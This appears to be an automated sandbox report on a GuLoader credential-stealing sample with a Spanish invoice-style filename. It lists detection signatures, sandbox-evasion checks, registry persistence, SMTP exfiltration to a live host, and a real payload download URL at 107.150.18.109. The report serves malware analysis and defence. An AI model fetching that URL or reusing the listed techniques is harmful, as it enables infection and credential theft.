Edit tour

Windows Analysis Report
CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe

Overview

General Information

Sample name:	CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe
Analysis ID:	1510346
MD5:	c6c117c18fead29fb0e5393139d0b0f2
SHA1:	73a18e382de6516dac2ffb386a7fbcbcd3bb4101
SHA256:	65a95ebb11d9f2916453cb3c2b7e45b583ba360af7bfd915547de103b78cfe5e
Infos:

Detection

GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected GuLoader

Check if machine is in data center or colocation facility

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Switches to a custom stack to bypass stack traces

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Suspicious Outbound SMTP Connections

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64native

CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe (PID: 6964 cmdline: "C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe" MD5: C6C117C18FEAD29FB0E5393139D0B0F2)

CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe (PID: 6816 cmdline: "C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe" MD5: C6C117C18FEAD29FB0E5393139D0B0F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000003.00000002.7577422376.0000000035D65000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2974737603.00000000075B2000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security

Sigma Signatures

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\Cretinous\Adjudanter.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, ProcessId: 6816, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Motorcyclists

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 185.230.214.164, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, Initiated: true, ProcessId: 6816, Protocol: tcp, SourceIp: 192.168.11.20, SourceIsIpv6: false, SourcePort: 49717

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-12T21:29:58.677580+0200	2803270	2	Potentially Bad Traffic	192.168.11.20	49715	107.150.18.109	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://107.150.18.109/vqdVIxqzrFAaCMWDM41.bin

Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\Cretinous\Adjudanter.exe

Avira: detection malicious, Label: HEUR/AGEN.1333748

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\Cretinous\Adjudanter.exe

ReversingLabs: Detection: 36%

Multi AV Scanner detection for submitted file

Source: CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe

ReversingLabs: Detection: 36%

Source: CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: System.Windows.Forms.pdb source: CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7581746956.000000007115B000.00000020.00000001.01000000.0000000B.sdmp
Source:	Binary string: System.Windows.Forms.ni.pdbRSDS source: CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7581746956.000000007115B000.00000020.00000001.01000000.0000000B.sdmp
Source:	Binary string: System.Windows.Forms.ni.pdb source: CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7581746956.000000007115B000.00000020.00000001.01000000.0000000B.sdmp

Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Code function: 0_2_00406555 FindFirstFileW,FindClose,	0_2_00406555
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Code function: 0_2_00405A03 CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405A03
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Code function: 0_2_0040287E FindFirstFileW,	0_2_0040287E
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Code function: 3_2_00406555 FindFirstFileW,FindClose,	3_2_00406555
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Code function: 3_2_0040287E FindFirstFileW,	3_2_0040287E
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Code function: 3_2_00405A03 CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	3_2_00405A03

Source: global traffic

TCP traffic: 192.168.11.20:49717 -> 185.230.214.164:587

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: Joe Sandbox View

IP Address: 185.230.214.164 185.230.214.164

Source: Joe Sandbox View

ASN Name: HOST-AS-APHostUniversalPtyLtdAU HOST-AS-APHostUniversalPtyLtdAU

Source: unknown

DNS query: name: ip-api.com

Source: Network traffic

Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49715 -> 107.150.18.109:80

Source: global traffic

TCP traffic: 192.168.11.20:49717 -> 185.230.214.164:587

Source: global traffic

HTTP traffic detected: GET /vqdVIxqzrFAaCMWDM41.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: 107.150.18.109Cache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.18.109
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.18.109
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.18.109
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.18.109
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.18.109
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.18.109
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.18.109
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.18.109
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.18.109
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.18.109
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.18.109
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.18.109
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.18.109
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.18.109
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.18.109
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.18.109
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.18.109
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.18.109
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.18.109
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.18.109
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.18.109
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.18.109
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.18.109
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.18.109
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.18.109
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.18.109
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.18.109
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.18.109
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.18.109
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.18.109
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.18.109
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.18.109
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.18.109
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.18.109
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.18.109
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.18.109
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.18.109
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.18.109
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.18.109
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.18.109
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.18.109
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.18.109
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.18.109
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.18.109
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.18.109
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.18.109
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.18.109
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.18.109
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.18.109
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.18.109

Source: global traffic	HTTP traffic detected: GET /vqdVIxqzrFAaCMWDM41.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: 107.150.18.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: smtp.zoho.eu

Source: CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7566689607.0000000005909000.00000004.00000020.00020000.00000000.sdmp, CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7567458814.00000000073C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://107.150.18.109/vqdVIxqzrFAaCMWDM41.bin
Source: CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7566689607.0000000005909000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.150.18.109/vqdVIxqzrFAaCMWDM41.bin9
Source: CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7579433929.0000000038370000.00000004.00000020.00020000.00000000.sdmp, CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7579433929.00000000383B2000.00000004.00000020.00020000.00000000.sdmp, CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7566689607.00000000059AD000.00000004.00000020.00020000.00000000.sdmp, CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7579433929.00000000383CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.thawte.com/ThawteTLSRSACAG1.crt0
Source: CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7579433929.0000000038370000.00000004.00000020.00020000.00000000.sdmp, CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7579433929.00000000383B2000.00000004.00000020.00020000.00000000.sdmp, CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7566689607.00000000059AD000.00000004.00000020.00020000.00000000.sdmp, CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7579433929.00000000383CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cdp.thawte.com/ThawteTLSRSACAG1.crl0p
Source: CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7566689607.0000000005990000.00000004.00000020.00020000.00000000.sdmp, CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7579433929.0000000038370000.00000004.00000020.00020000.00000000.sdmp, CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7579433929.00000000383B2000.00000004.00000020.00020000.00000000.sdmp, CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7566689607.00000000059AD000.00000004.00000020.00020000.00000000.sdmp, CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7579433929.00000000383CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl0=
Source: CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7577422376.0000000035D31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com
Source: CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7577422376.0000000035D31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000000.00000000.2476495391.000000000040A000.00000008.00000001.01000000.00000003.sdmp, CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7566689607.0000000005990000.00000004.00000020.00020000.00000000.sdmp, CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7579433929.0000000038370000.00000004.00000020.00020000.00000000.sdmp, CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7579433929.00000000383B2000.00000004.00000020.00020000.00000000.sdmp, CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7579433929.00000000383CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0B
Source: CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7577422376.0000000035D31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7579433929.0000000038370000.00000004.00000020.00020000.00000000.sdmp, CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7579433929.00000000383B2000.00000004.00000020.00020000.00000000.sdmp, CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7566689607.00000000059AD000.00000004.00000020.00020000.00000000.sdmp, CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7579433929.00000000383CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://status.thawte.com0:
Source: CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7579433929.0000000038370000.00000004.00000020.00020000.00000000.sdmp, CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7579433929.00000000383B2000.00000004.00000020.00020000.00000000.sdmp, CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7566689607.00000000059AD000.00000004.00000020.00020000.00000000.sdmp, CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7579433929.00000000383CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7577422376.0000000035DB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_flash
Source: CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7566689607.0000000005990000.00000004.00000020.00020000.00000000.sdmp, CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7579433929.0000000038370000.00000004.00000020.00020000.00000000.sdmp, CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7579433929.00000000383B2000.00000004.00000020.00020000.00000000.sdmp, CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7566689607.00000000059AD000.00000004.00000020.00020000.00000000.sdmp, CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7579433929.00000000383CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0

Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe

Code function: 0_2_004054B0 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,LdrInitializeThunk,SendMessageW,CreatePopupMenu,LdrInitializeThunk,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004054B0

Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Code function: 0_2_0040344A EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,LdrInitializeThunk,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_0040344A
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Code function: 3_2_0040344A EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,LdrInitializeThunk,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		3_2_0040344A

Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe

File created: C:\Windows\resources\0409

Jump to behavior

Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Code function: 0_2_004068DA	0_2_004068DA
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Code function: 0_2_00404CED	0_2_00404CED
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Code function: 3_2_004068DA	3_2_004068DA
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Code function: 3_2_00404CED	3_2_00404CED
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Code function: 3_2_00113928	3_2_00113928
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Code function: 3_2_00114940	3_2_00114940
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Code function: 3_2_0011C440	3_2_0011C440
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Code function: 3_2_00118FC8	3_2_00118FC8
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Code function: 3_2_00114070	3_2_00114070
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Code function: 3_2_38779C30	3_2_38779C30
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Code function: 3_2_387724A0	3_2_387724A0
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Code function: 3_2_38774FD0	3_2_38774FD0
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Code function: 3_2_3877AF98	3_2_3877AF98
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Code function: 3_2_38776080	3_2_38776080
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Code function: 3_2_3877D488	3_2_3877D488
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Code function: 3_2_387745D8	3_2_387745D8
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Code function: 3_2_38776DBF	3_2_38776DBF
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Code function: 3_2_38770A18	3_2_38770A18
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Code function: 3_2_38850040	3_2_38850040
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Code function: 3_2_00119080	3_2_00119080
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Code function: 3_2_0011C7E8	3_2_0011C7E8

Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe

Code function: String function: 00402C53 appears 51 times

Source: CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe

Static PE information: invalid certificate

Source: CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7581746956.000000007063B000.00000020.00000001.01000000.0000000B.sdmp	Binary or memory string: OriginalFilenameSystem.Windows.Forms.dllT vs CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe
Source: CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7566689607.0000000005909000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe

Source: CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/14@2/3

Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Code function: 0_2_0040344A EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,LdrInitializeThunk,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_0040344A
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Code function: 3_2_0040344A EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,LdrInitializeThunk,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		3_2_0040344A

Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe

Code function: 0_2_00404771 GetDlgItem,SetWindowTextW,LdrInitializeThunk,LdrInitializeThunk,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,LdrInitializeThunk,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_00404771

